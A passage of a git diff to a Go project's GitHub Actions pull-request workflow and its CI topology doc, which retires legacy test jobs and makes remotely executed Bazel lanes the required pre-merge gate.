- - - name: Set up Go - id: setup-go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - cache: false - - - name: Restore Go module cache - uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: ~/go/pkg/mod - key: beads-go-mod-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-${{ hashFiles('go.mod', 'go.sum') }} - restore-keys: beads-go-mod-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}- - - - name: Restore non-race Go build cache - uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: ${{ runner.temp }}/go-cache/non-race - key: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-non-race-${{ github.sha }} - restore-keys: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-non-race- - - - name: Build reusable Linux artifacts - env: - GOCACHE: ${{ runner.temp }}/go-cache/non-race - run: | - set -euo pipefail - mkdir -p artifacts - source ./.buildflags - go_version="$(go version)" - commit="$(git rev-parse HEAD)" - go build -tags gms_pure_go -o artifacts/bd-linux-gms-pure ./cmd/bd - chmod +x artifacts/bd-linux-gms-pure - ( - cd artifacts - sha256sum bd-linux-gms-pure > SHA256SUMS - ) - { - echo "commit=${commit}" - echo "go_version=${go_version}" - echo "build_tags=${BEADS_BUILD_TAGS}" - echo "artifact=bd-linux-gms-pure" - } > artifacts/build-manifest.txt - - - name: Upload build artifacts - uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7 - with: - name: ci-build-artifacts - path: artifacts/ - retention-days: 1 - if-no-files-found: error - # The checks that need the PR's base commit, so no hermetic Bazel target # can hold them: check-migration-hygiene.sh's delta half (C: shipped # migrations are frozen, D: ignored-plane twins, E: no prepared DML in new @@ -224,101 +125,6 @@ jobs: fi echo "No .beads/issues.jsonl changes detected" - # Lock in two CGO-disabled portability boundaries. cmd/bd carries a mix of - # cgo-only test helpers (embedded Dolt, sql.DB) and pure-Go tests; compiling - # and running its pure-Go subset prevents test contamination (mybd-ycx / - # GH#3683 follow-up). internal/hooks also declares a js/wasm boundary where - # process execution must fail explicitly, so this required leaf job compiles - # the complete package test binary and executes that exact contract under - # Node rather than allowing a missing platform implementation to recur. - # - # D2 step 3: stands down where bazel-coverage says pr_lanes; Bazel's - # `pure-Go and js/wasm` lane (bazel-pure) runs the same boundaries, and - # also builds the whole tree with cgo off for every release target - # (scripts/ci/bazel-release-cross-compile.sh). - check-cmd-bd-puregeo-tests: - name: Check pure-Go and js/wasm boundaries (CGO_ENABLED=0) - runs-on: ubuntu-latest - needs: bazel-coverage - if: needs.bazel-coverage.outputs.pr_lanes != 'true' - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Set up Go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - cache: false - - - name: Set up Node.js - uses: actions/setup-node@820762786026740c76f36085b0efc47a31fe5020 # v6 - with: - node-version: '24' - - - name: Run js/wasm hook boundary - env: - CGO_ENABLED: "0" - GOARCH: wasm - GOOS: js - run: | - set -euo pipefail - - # This required lane owns the exact js/wasm refusal contract. If the - # wasm test surface grows, widen this selector and its count guard - # together rather than assuming compilation executes new tests. - test_status=0 - test_output="$(go test -tags gms_pure_go -count=1 -timeout=2m \ - -exec="$(go env GOROOT)/lib/wasm/go_js_wasm_exec" \ - -run '^TestRunHookReportsUnsupportedExecution$' \ - -v ./internal/hooks 2>&1)" || test_status=$? - printf '%s\n' "$test_output" - (( test_status == 0 )) || exit "$test_status" - - run_count=0 - pass_count=0 - nonpass_count=0 - pass_pattern='^--- PASS: TestRunHookReportsUnsupportedExecution \([0-9.]+s\)$' - nonpass_pattern='^[[:space:]]*--- (FAIL|SKIP): ' - while IFS= read -r line; do - if [[ "$line" == "=== RUN TestRunHookReportsUnsupportedExecution" ]]; then - ((run_count += 1)) - fi - if [[ "$line" =~ $pass_pattern ]]; then - ((pass_count += 1)) - fi - if [[ "$line" =~ $nonpass_pattern ]]; then - ((nonpass_count += 1)) - fi - done <<< "$test_output" - if (( run_count != 1 || pass_count != 1 || nonpass_count != 0 )); then - printf 'expected one exact js/wasm hook test run and pass with no failures or skips; got runs=%s passes=%s nonpasses=%s\n' \ - "$run_count" "$pass_count" "$nonpass_count" >&2 - exit 1 - fi - - - name: Build cmd/bd (CGO_ENABLED=0, gms_pure_go) - env: - CGO_ENABLED: "0" - run: go build -tags gms_pure_go -o /tmp/bd-puregeo ./cmd/bd - - - name: Compile pure-Go test binaries (CGO_ENABLED=0, gms_pure_go) - env: - CGO_ENABLED: "0" - run: | - go test -tags gms_pure_go -c -o /tmp/bd-cmd-puregeo-test ./cmd/bd - go test -tags gms_pure_go -c -o /tmp/bd-embeddeddolt-puregeo-test ./internal/storage/embeddeddolt - go test -tags gms_pure_go -c -o /tmp/bd-tracker-puregeo-test ./internal/tracker - - - name: Run pure-Go cmd/bd test subset (CGO_ENABLED=0) - env: - CGO_ENABLED: "0" - # Restrict to tests that exercise pure-Go code paths. Tests that - # need a Dolt store skip themselves at runtime when no test server - # is available; the goal here is to catch compile-time contamination, - # not run the full suite. - run: | - go test -tags gms_pure_go -count=1 -short -run '^Test(Help|CheckRemoteSafety|FormatDestroyToken|ShouldWireInitRemote|ExtractPrefix|IsNumericID|GetWorktreeGitDir|DriftItemStatuses|RunDriftChecks|IsServerProbablyRunning|CheckHooksDriftNotGitRepo|CheckServerDriftNoBeadsDir|CheckRemoteDriftNoBeadsDir|NocgoFactoriesHonorSharedServer|NocgoNewDoltStoreFromConfig_ErrorSuggestsCorrectFlag|NocgoNewReadOnlyStoreFromConfig_ErrorSuggestsCorrectFlag)' ./cmd/bd - # The lingering-handle liveness regression test is //go:build windows: the # Ubuntu job above selects it by name but compiles it out, and main.yml's # Windows job runs only on pushes to main (build/smoke, no go test). Run @@ -1073,69 +879,6 @@ jobs: GOCACHE: ${{ runner.temp }}/go-cache/non-race run: bash scripts/ci/test-windows-env-helpers.sh - # D2 step 3: stands down where bazel-coverage says pr_lanes; Bazel / - # test (`bazel test //... --config=ci`, the same selection, checked by its - # equivalence step) runs it, and nogo (//tools/nogo) runs go test's vet - # checks beside every compile of that lane. - pr-core-wrapper: - name: PR Core (wrapper timing) - runs-on: ubuntu-latest - needs: [build-artifacts, bazel-coverage] - if: needs.bazel-coverage.outputs.pr_lanes != 'true' - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Set up Go - id: setup-go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - cache: false - - - name: Restore Go module cache - uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: ~/go/pkg/mod - key: beads-go-mod-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-${{ hashFiles('go.mod', 'go.sum') }} - restore-keys: beads-go-mod-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}- - - - name: Restore race Go build cache - uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: ${{ runner.temp }}/go-cache/race - key: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-race-${{ github.sha }} - restore-keys: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-race- - - - name: Install Dolt - run: ./scripts/ci/install-dolt.sh - - - name: Configure Git and Dolt identity - run: | - git config --global user.name "CI Bot" - git config --global user.email "ci@beads.test" - dolt config --global --add user.name "CI Bot" - dolt config --global --add user.email "ci@beads.test" - - - name: Download build artifacts - uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8 - with: - name: ci-build-artifacts - path: ci-build-artifacts - - - name: Verify build artifacts - run: | - set -euo pipefail - cd ci-build-artifacts - sha256sum -c SHA256SUMS - chmod +x bd-linux-gms-pure - - - name: Run PR core wrapper - env: - BEADS_TEST_REQUIRE_EXCLUDE_PERMISSION: '1' - BEADS_TEST_BD_BINARY: ${{ github.workspace }}/ci-build-artifacts/bd-linux-gms-pure - GOCACHE: ${{ runner.temp }}/go-cache/race - run: make ci-pr-core - # F7a: fold of build-examples + complexity-report, the two pr.yml jobs that # are advisory-only (not in ci-gate's needs/CI_GATE_REQUIRED) and restore no # GitHub-saved build cache, onto one Blacksmith runner for same-repo @@ -1815,32 +1558,22 @@ jobs: throw 'Cygwin Make shell smoke failed' } - # The Bazel lane (bazel.yml), gated alongside the legacy jobs it mirrors - # (PR Core, build-artifacts, the pure-Go/js-wasm check, and - # pr-risk.yml's embedded-Dolt, proxied-server and - # server-Dolt storage tiers), all of which stay required ids, but stand - # down on same-repo PRs with a non-Dependabot actor, and on merge groups, - # while their D2 flag is "true" (bazel-coverage): pr-risk.yml's embedded-Dolt test jobs - # (BAZEL_RETIRES_LEGACY_EMBEDDED, step 1), its proxied-server and - # server-Dolt storage test jobs (BAZEL_RETIRES_LEGACY_DOLT_SERVER_TIERS, - # step 2), and this workflow's PR Core, build-artifacts and pure-Go/js-wasm - # jobs (BAZEL_RETIRES_LEGACY_PR_LANES, step 3). ci-gate then requires this call's lanes for them (embedded; - # proxied and server-storage; test, pure and doltserver) to have run - # remotely and passed. bazel.yml has no pull_request/merge_group trigger + # The Bazel lanes (bazel.yml): the only pre-merge run of every Linux Go + # test tier (PR core, pure-Go and js/wasm, the dolt-server lane, the + # embedded-Dolt, proxied-server and server-Dolt storage tiers that + # pr-risk.yml used to run, integration and the cmd/bd Dolt-server tier). + # ci-gate requires each of them to have run remotely on rbe-west and + # passed, on every pull_request and merge group: same-repo PRs and merge + # groups in mode remote, fork and Dependabot PRs through rbe-west's mint + # (rbe-fork, modes fork-ro/fork-rw). Mode skip (the farm switch off) or + # cache (no secret, or rbe-fork closed or refusing) is red, never a silent + # pass with fewer tests. bazel.yml has no pull_request/merge_group trigger # of its own: this call is its only PR run. It gets the four RBE secrets - # and nothing else; its rbe job decides remote, cache (forks, Dependabot: - # local execution with the anonymous read-only cache, no embedded, - # proxied or server-storage lane) or skip, and exports that for ci-gate. - # Its bazel-integration lane (main.yml's integration jobs, which run only - # on push to main) is on and required here in modes remote and cache: - # same-repo PRs and merge groups run it remotely, fork and Dependabot PRs - # locally with the read-only cache. Test results are cached: a PR or - # merge group re-runs only tests whose inputs changed (nightly re-runs - # everything; .bazelrc test:fresh). Its bd artifact is renamed - # (bazel-ci-build-artifacts) so it cannot collide with build-artifacts' - # upload. F3: the package gates build their own bd (via this call's rbe - # job) and do not consume this artifact; it is kept for the F3.5.3 - # SHA256SUMS comparison and for debugging. + # and the pre-warm app key and nothing else. Test results are cached: a PR + # or merge group re-runs only tests whose inputs changed (nightly re-runs + # everything; .bazelrc test:fresh). Its bd artifact + # (bazel-ci-build-artifacts) is kept for debugging; F3: the package gates + # build their own bd via this call's rbe job. bazel: name: Bazel permissions: @@ -1862,93 +1595,6 @@ jobs: # this call, needing only its rbe job. package-gates: "on" - # D2: pr-risk.yml's bazel-coverage job, verbatim (policy-tested - # identical). Where it says a tier is covered, PR Risk skips that tier's - # legacy test jobs (embedded, dolt_server), or this workflow skips its own - # (pr_lanes: build-artifacts, PR Core, the pure-Go/js-wasm check), so - # ci-gate requires the tier's Bazel lanes to have run remotely and passed - # in this run. - bazel-coverage: - name: Bazel tier coverage - # F3: same-repo PRs and merge_group get the org's Blacksmith pool; forks, - # Dependabot and any other event stay GitHub-hosted. This job restores no - # GitHub-saved cache, so Blacksmith's inability to see one does not cost - # it anything. Must stay byte-identical to pr-risk.yml's copy - # (TestPRRiskBazelCoverageJob) and to the TestSameRepoBlacksmithRunners - # pin. - runs-on: ${{ (github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-2vcpu-ubuntu-2404' || 'ubuntu-latest' }} - timeout-minutes: 5 - outputs: - embedded: ${{ steps.decide.outputs.embedded }} - dolt_server: ${{ steps.decide.outputs.dolt_server }} - pr_lanes: ${{ steps.decide.outputs.pr_lanes }} - steps: - # GitHub's == is case-insensitive. FORK is bazel.yml's rbe job's - # expression, verbatim. Nothing mutable is read: not RBE_WEST_WORKERS - # and not the executor secret (either, evaluated per run, would let one - # workflow's re-run disagree with the other's). A same-repo PR whose run - # lacks the secret is covered anyway, so pr.yml's gate goes red (mode - # cache) instead of a tier silently moving back. Fork and Dependabot - # runs get no Actions secrets by design: they are covered only while - # BAZEL_COVERS_FORKS is "true" (rbe-fork gives their lanes remote - # execution), and then a closed rbe-fork turns them red the same way; - # it never moves them back to a legacy tier silently. github.actor - # (unlike triggering_actor) stays the PR's actor on a re-run. - - name: Decide which legacy tiers the Bazel lanes cover - id: decide - env: - RETIRED_EMBEDDED: ${{ env.BAZEL_RETIRES_LEGACY_EMBEDDED == 'true' }} - RETIRED_DOLT_SERVER: ${{ env.BAZEL_RETIRES_LEGACY_DOLT_SERVER_TIERS == 'true' }} - RETIRED_PR_LANES: ${{ env.BAZEL_RETIRES_LEGACY_PR_LANES == 'true' }} - COVERS_FORKS: ${{ env.BAZEL_COVERS_FORKS == 'true' }} - PULL_REQUEST: ${{ github.event_name == 'pull_request' }} - MERGE_GROUP: ${{ github.event_name == 'merge_group' }} - FORK: ${{ github.event.pull_request.head.repo.fork == true }} - DEPENDABOT: ${{ github.actor == 'dependabot[bot]' }} - run: | - for v in RETIRED_EMBEDDED RETIRED_DOLT_SERVER RETIRED_PR_LANES COVERS_FORKS PULL_REQUEST MERGE_GROUP FORK DEPENDABOT; do - case "${!v}" in - true|false) ;; - *) echo "::error::$v is '${!v}', want true or false"; exit 1 ;; - esac - done - # Covered: the Bazel lanes are this run's only run of the retired - # tiers. Same-repo PRs (the CI secrets); fork and Dependabot PRs - # too while BAZEL_COVERS_FORKS is "true"; and every merge group: it - # runs on the queue's gh-readonly-queue/* branch of this repository - # with the CI secrets, its actor is github-merge-queue[bot] (never - # Dependabot), and bazel.yml's rbe job takes mode remote for it - # like for a same-repo PR, so a missing secret or the farm switch - # off turns pr.yml's gate red rather than dropping a tier. - covered=false - if [ "$MERGE_GROUP" = true ]; then - covered=true - elif [ "$PULL_REQUEST" = true ]; then - if [ "$FORK" = false ] && [ "$DEPENDABOT" = false ]; then - covered=true - elif [ "$COVERS_FORKS" = true ]; then - covered=true - fi - fi - embedded=false - if [ "$covered" = true ] && [ "$RETIRED_EMBEDDED" = true ]; then - embedded=true - fi - dolt_server=false - if [ "$covered" = true ] && [ "$RETIRED_DOLT_SERVER" = true ]; then - dolt_server=true - fi - pr_lanes=false - if [ "$covered" = true ] && [ "$RETIRED_PR_LANES" = true ]; then - pr_lanes=true - fi - { - echo "embedded=$embedded" - echo "dolt_server=$dolt_server" - echo "pr_lanes=$pr_lanes" - } >> "$GITHUB_OUTPUT" - echo "Legacy tiers retired in favour of the Bazel lanes: embedded Dolt **$embedded**, proxied and server Dolt **$dolt_server**, pr.yml's PR Core/build/pure-Go/domain+uow/contract jobs **$pr_lanes** (pull_request: $PULL_REQUEST, merge_group: $MERGE_GROUP, fork: $FORK, dependabot: $DEPENDABOT, forks covered: $COVERS_FORKS, retired embedded: $RETIRED_EMBEDDED, retired proxied/server: $RETIRED_DOLT_SERVER, retired pr.yml jobs: $RETIRED_PR_LANES)" | tee -a "$GITHUB_STEP_SUMMARY" - ci-gate: name: CI Gate / Required # F3: same-repo PRs and merge_group get the org's Blacksmith pool; forks, @@ -1962,9 +1608,7 @@ jobs: # minutes too. timeout-minutes: 10 needs: - - build-artifacts - fast-checks - - check-cmd-bd-puregeo-tests - test-windows-liveness - worktree-remove-windows - test-windows-liveness-prebuilt @@ -1972,10 +1616,8 @@ jobs: - check-doc-flags - check-doc-freshness-platforms - pr-preflight-platforms - - pr-core-wrapper - windows-make-shell - bazel - - bazel-coverage if: ${{ always() }} steps: - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 @@ -1984,17 +1626,14 @@ jobs: env: CI_GATE_NAME: PR baseline gate CI_GATE_REQUIRED: >- - BUILD_ARTIFACTS FAST_CHECKS CHECK_MIGRATION_HYGIENE CHECK_NO_BEADS_CHANGES - CHECK_CMD_BD_PUREGEO_TESTS CHECK_DOC_FLAGS CHECK_DOC_FRESHNESS_PLATFORMS PR_PREFLIGHT_PLATFORMS PACKAGE_MCP PACKAGE_NPM - PR_CORE_WRAPPER WINDOWS_MAKE_SHELL BAZEL BAZEL_TEST @@ -2004,11 +1643,7 @@ jobs: BAZEL_DOLTSERVER BAZEL_PROXIED BAZEL_SERVER_STORAGE - BAZEL_COVERAGE - BAZEL_EMBEDDED_RETIRED - BAZEL_DOLT_SERVER_RETIRED - BAZEL_PR_LANES_RETIRED - BUILD_ARTIFACTS: ${{ needs.build-artifacts.result }} + BAZEL_REMOTE # fast-checks' two base-diff steps; each token reads that step's # outcome (via the job's outputs), with a 'skipped' fallback for a # lost job (see FAST_CHECKS below). TestPRCIGateFastChecksTokens @@ -2023,7 +1658,6 @@ jobs: # reds) - FAST_CHECKS gives ci-gate.sh one clear line naming the # job. FAST_CHECKS: ${{ needs.fast-checks.result }} - CHECK_CMD_BD_PUREGEO_TESTS: ${{ needs.check-cmd-bd-puregeo-tests.result }} TEST_WINDOWS_LIVENESS: ${{ needs.test-windows-liveness.result }} WORKTREE_REMOVE_WINDOWS: ${{ needs.worktree-remove-windows.result }} # F4 side-by-side rollout: always evaluated, like the native pair @@ -2041,7 +1675,6 @@ jobs: # here). PACKAGE_MCP: ${{ needs.bazel.outputs.package-mcp || 'skipped' }} PACKAGE_NPM: ${{ needs.bazel.outputs.package-npm || 'skipped' }} - PR_CORE_WRAPPER: ${{ needs.pr-core-wrapper.result }} WINDOWS_MAKE_SHELL: ${{ needs.windows-make-shell.result }} # bazel.yml's lanes report their job.status as outputs; a lane that # did not report (skipped, or lost before its last step) reads as @@ -2062,12 +1695,6 @@ jobs: BAZEL_CALL: ${{ needs.bazel.result }} BAZEL_RBE_MODE: ${{ needs.bazel.outputs.rbe-mode }} BAZEL_RBE_ENABLED: ${{ needs.bazel.outputs.rbe-enabled }} - # D2: which legacy tiers PR Risk, or this workflow (pr_lanes), - # retired for this PR (BAZEL_*_RETIRED below). - BAZEL_COVERAGE: ${{ needs.bazel-coverage.result }} - BAZEL_COVERS_EMBEDDED: ${{ needs.bazel-coverage.outputs.embedded }} - BAZEL_COVERS_DOLT_SERVER: ${{ needs.bazel-coverage.outputs.dolt_server }} - BAZEL_COVERS_PR_LANES: ${{ needs.bazel-coverage.outputs.pr_lanes }} run: | skipped_ok="" # F4 side-by-side rollout: WINDOWS_PREBUILT_REQUIRED (top of this @@ -2101,38 +1728,19 @@ jobs: skipped_ok="$skipped_ok $(bash .github/scripts/bazel-gate.sh skips)" BAZEL="$(bash .github/scripts/bazel-gate.sh aggregate)" export BAZEL - # D2 step 3: this workflow's legacy jobs that stand down where - # bazel-coverage says pr_lanes (exactly "true"); their Bazel lanes - # are then required below. - if [[ "$BAZEL_COVERS_PR_LANES" == "true" ]]; then - skipped_ok="$skipped_ok BUILD_ARTIFACTS CHECK_CMD_BD_PUREGEO_TESTS PR_CORE_WRAPPER" + # The Bazel lanes are the only run of every Linux Go test tier + # (there is no legacy job to fall back to), so on every pull_request + # and merge group they must have run remotely on rbe-west: mode + # remote, or fork-ro/fork-rw through rbe-fork for a PR without the + # CI secrets; mode skip (the farm switch off) or cache (no + # secret, or rbe-fork closed or refusing) is red whatever + # bazel-gate.sh's skip list allows; each lane's own result is + # required above. + BAZEL_REMOTE=success + if [[ ! "$BAZEL_RBE_MODE" =~ ^(remote|fork-ro|fork-rw)$ ]]; then + BAZEL_REMOTE=not-run-remotely + echo "::error::The Bazel lanes did not run remotely on rbe-west (mode '${BAZEL_RBE_MODE:-none}'); they are this PR's only run of the Linux Go test tiers. In mode cache on a PR without the CI secrets, rbe-fork was closed or refused this run: re-run all jobs later." fi - # Where a legacy tier is retired (by PR Risk or by this - # workflow), this run's Bazel lanes for it are the tier's only - # pre-merge run: each must have run remotely (mode remote, or - # fork-ro/fork-rw with an rbe-fork certificate where - # BAZEL_COVERS_FORKS covers a PR without the CI secrets) and - # passed. Mode skip (the farm switch off), cache (no secret, or - # rbe-fork closed or refusing), or any other result, is red - # whatever bazel-gate.sh allows. - # retired ID FLAG COVERED TIER LANE...: set and export ID. - retired() { - local id="$1" flag="$2" covered="$3" tier="$4" result=success lane - shift 4 - if [[ "$covered" == "true" ]]; then - [[ "$BAZEL_RBE_MODE" =~ ^(remote|fork-ro|fork-rw)$ ]] || result="not-run-remotely" - for lane in "$@"; do - [[ "${!lane:-}" == "success" ]] || result="not-run-remotely" - done - if [[ "$result" != "success" ]]; then - echo "::error::The legacy $tier is retired ($flag) and its Bazel lanes ($*) did not all run remotely and pass (mode '${BAZEL_RBE_MODE:-none}'). In mode cache on a PR without the CI secrets, rbe-fork was closed or refused this run: re-run all jobs later. If remote execution is off on purpose, commit $flag: \"false\" (or BAZEL_COVERS_FORKS: \"false\" for forks) in pr.yml and pr-risk.yml and push this PR again." - fi - fi - printf -v "$id" '%s' "$result" - export "${id?}" - } - retired BAZEL_EMBEDDED_RETIRED BAZEL_RETIRES_LEGACY_EMBEDDED "$BAZEL_COVERS_EMBEDDED" "PR Risk embedded Dolt tier" BAZEL_EMBEDDED - retired BAZEL_DOLT_SERVER_RETIRED BAZEL_RETIRES_LEGACY_DOLT_SERVER_TIERS "$BAZEL_COVERS_DOLT_SERVER" "PR Risk proxied-server and server-Dolt storage tiers" BAZEL_PROXIED BAZEL_SERVER_STORAGE - retired BAZEL_PR_LANES_RETIRED BAZEL_RETIRES_LEGACY_PR_LANES "$BAZEL_COVERS_PR_LANES" "PR Core, build-artifacts and pure-Go/js-wasm jobs (and the dolt-server lane)" BAZEL_TEST BAZEL_PURE BAZEL_DOLTSERVER + export BAZEL_REMOTE export CI_GATE_SKIPPED_OK="$skipped_ok" bash .github/scripts/ci-gate.sh diff --git a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md index 44771b99c..5e82bc916 100644 --- a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md +++ b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md @@ -57,18 +57,17 @@ Current PR-related workflow names: `job.status` as an output named after the job. `pr.yml`'s gate requires the call's result (`BAZEL`) and `BAZEL_TEST`, `BAZEL_PURE`, `BAZEL_EMBEDDED`, `BAZEL_INTEGRATION`, `BAZEL_DOLTSERVER`, `BAZEL_PROXIED` and - `BAZEL_SERVER_STORAGE`. The legacy jobs these mirror stay required in - `pr.yml` and `pr-risk.yml`, except where `BAZEL_EMBEDDED`; - `BAZEL_PROXIED` and `BAZEL_SERVER_STORAGE`; or `BAZEL_TEST`, `BAZEL_PURE` - and `BAZEL_DOLTSERVER` run in their place (see - [Legacy Tier Retirement](#legacy-tier-retirement-d2)). - `.github/scripts/bazel-gate.sh` reads the exported mode, never the variable - or the fork flag: mode `skip` allows every Bazel id to skip, mode `cache` - allows only the remote-only `BAZEL_EMBEDDED`, `BAZEL_PROXIED` and - `BAZEL_SERVER_STORAGE` (fork and Dependabot PRs rely on `pr-risk.yml`'s - legacy tiers for them), mode `local` (`rbe=off` dispatches) those and - `BAZEL_INTEGRATION`, and modes `remote`, `fork-ro` and `fork-rw` allow - none. + `BAZEL_SERVER_STORAGE`. These lanes are the only CI run of the Linux Go + test tiers: the legacy jobs they mirrored in `pr.yml` and `pr-risk.yml` + are retired (ga-96smfk.22; see + [Legacy Tier Retirement](#legacy-tier-retirement-d2)), so the gate also + requires `BAZEL_REMOTE`: the call's mode must be `remote`, `fork-ro` or + `fork-rw`. `.github/scripts/bazel-gate.sh` reads the exported mode, never + the variable or the fork flag: mode `skip` allows every Bazel id to skip, + mode `cache` the remote-only `BAZEL_EMBEDDED`, `BAZEL_PROXIED` and + `BAZEL_SERVER_STORAGE`, mode `local` (`rbe=off` dispatches) those and + `BAZEL_INTEGRATION`, and modes `remote`, `fork-ro` and `fork-rw` none; + on `pr.yml` the first three are red anyway through `BAZEL_REMOTE`. A lane that should run and fails, is cancelled, or reports no result fails the gate, and so does a missing or invalid mode. `bazel-integration` (`bazel test //... --config=integration`, the Bazel @@ -94,21 +93,12 @@ Current PR-related workflow names: red, and autofix only patches packages the PR itself changed), the RBE farm is down, or the beads CI RBE client certificate expires (about 2027-09-27; a partial secret set also fails every same-repo run), fix - `main` (`make bazel-sync`) or renew the secrets. To turn remote execution - off instead, first commit `BAZEL_RETIRES_LEGACY_EMBEDDED: "false"`, - `BAZEL_RETIRES_LEGACY_DOLT_SERVER_TIERS: "false"` and - `BAZEL_RETIRES_LEGACY_PR_LANES: "false"` in both - `pr.yml` and `pr-risk.yml` (see - [Legacy Tier Retirement](#legacy-tier-retirement-d2)), - then unset the `RBE_WEST_WORKERS` repo variable: same-repo runs then take - mode `skip`, which the gate accepts (fork PRs still build, in mode `cache`, - so drift on `main` still reaches them). Unsetting the variable while a - flag is still `"true"` turns `CI Gate / Required` red on every same-repo PR - (`BAZEL_EMBEDDED_RETIRED`, `BAZEL_DOLT_SERVER_RETIRED`, - `BAZEL_PR_LANES_RETIRED`), because the legacy tiers no longer run for - them. If rbe-west closes the read-only cache (the farm's kill switch; the - client has none), fork runs fall back to executing everything locally - (slower, still green; `bazel-integration` then takes about 30 minutes). If it + `main` (`make bazel-sync`) or renew the secrets. There is no legacy tier + to fall back to: unsetting the `RBE_WEST_WORKERS` repo variable (mode + `skip`) turns `CI Gate / Required` red on every PR and merge group + (`BAZEL_REMOTE`), by design. If rbe-west closes the read-only cache (the + farm's kill switch; the client has none), runs in mode `cache` execute + locally and are red through `BAZEL_REMOTE` as well. If it is slow rather than closed, each lookup gives up after `fork-cache`'s 15 s `--remote_timeout` (times its retries), and Bazel's failure circuit breaker (`--experimental_circuit_breaker_strategy=failure`) stops calling @@ -143,10 +133,12 @@ Current PR-related workflow names: no ruleset requires it and nothing reads its results; see [Trusted-Author Fork PRs](#trusted-author-fork-prs-bazel-farm). - `.github/workflows/pr-risk.yml`: `PR Risk` - Runs on `pull_request` and `merge_group`. Contains embedded Dolt risk - detection, the `bazel-coverage` decision, embedded build/test - shards, the proxied and server Dolt shards, the Nix flake smoke check, and - the risk aggregate gate `PR Risk / PR Risk Gate / Required`. + Runs on `pull_request` and `merge_group`. Contains only the Nix packaging + check (`test-nix`: `nix run .#default -- --help` and `nix flake check`) + and the risk aggregate gate `PR Risk / PR Risk Gate / Required`. Its + embedded, proxied and server-Dolt test tiers, the `detect-ci-tier` risk + detection and the `bazel-coverage` decision were retired (ga-96smfk.22): + `pr.yml`'s Bazel lanes run those tests. - `.github/workflows/main.yml`: `Main` Runs on pushes to `main`. Contains the main branch health checks, package gates, platform smoke/short coverage, embedded Dolt coverage, and promoted @@ -768,9 +760,7 @@ intentionally not kept in lockstep with later leaf additions and renames; use -`.github/workflows/pr-risk.yml` has a companion aggregate for `detect-ci-tier`, -`bazel-coverage`, `build-embedded`, the embedded, proxied and server -Dolt test jobs, and `test-nix`. +`.github/workflows/pr-risk.yml` has a companion aggregate for `test-nix`. `.github/scripts/ci-gate.sh` is a small shell evaluator. It fails on any `failure` or `cancelled` result. It accepts `skipped` only for jobs that are @@ -779,23 +769,9 @@ intentionally absent for that event or risk tier: - (Historical: `CHECK_NO_BEADS_CHANGES=skipped` was accepted on `merge_group` while the step was PR-only. It now runs on `merge_group` too, against `merge_group.base_sha`, and no skip of it is excused.) -- In the risk aggregate, `BUILD_EMBEDDED` and the embedded, proxied and server - Dolt test ids may be `skipped` when `FULL_EMBEDDED != true`. -- In the risk aggregate, `TEST_EMBEDDED_STORAGE`, `TEST_EMBEDDED_CONFORMANCE` - and `TEST_EMBEDDED_CMD` may also be `skipped` when `bazel-coverage` - reported `embedded=true`; `TEST_PROXIED_CMD`, `TEST_SERVER_STORAGE` and - `TEST_SERVER_STORAGE_FULL` when it reported `dolt_server=true`; and - `BUILD_EMBEDDED` when it reported both. `BAZEL_COVERAGE` (that job's - result) must be `success`. -- In the baseline aggregate, `BUILD_ARTIFACTS`, `PR_CORE_WRAPPER` and - `CHECK_CMD_BD_PUREGEO_TESTS` may be `skipped` when `bazel-coverage` - reported `pr_lanes=true`. -- In the baseline aggregate, `BAZEL_COVERAGE` must be `success`; - `BAZEL_EMBEDDED_RETIRED` is red when `embedded=true` but the Bazel embedded - lane did not run remotely and pass, `BAZEL_DOLT_SERVER_RETIRED` when - `dolt_server=true` but the proxied and server-storage lanes did not, and - `BAZEL_PR_LANES_RETIRED` when `pr_lanes=true` but the test, pure-Go and - dolt-server lanes did not. +- In the baseline aggregate, `BAZEL_REMOTE` is red unless the Bazel call + ran in mode `remote`, `fork-ro` or `fork-rw` (its lanes are the only run + of the Linux Go test tiers), whatever `bazel-gate.sh` lets skip. - All baseline jobs must be `success`. This keeps branch protection pointed at stable aggregate jobs while preserving @@ -843,27 +819,28 @@ listed paths can be blocked waiting for a check that GitHub never creates. ### Embedded Dolt Matrix -The current embedded Dolt topology already fits the required-check 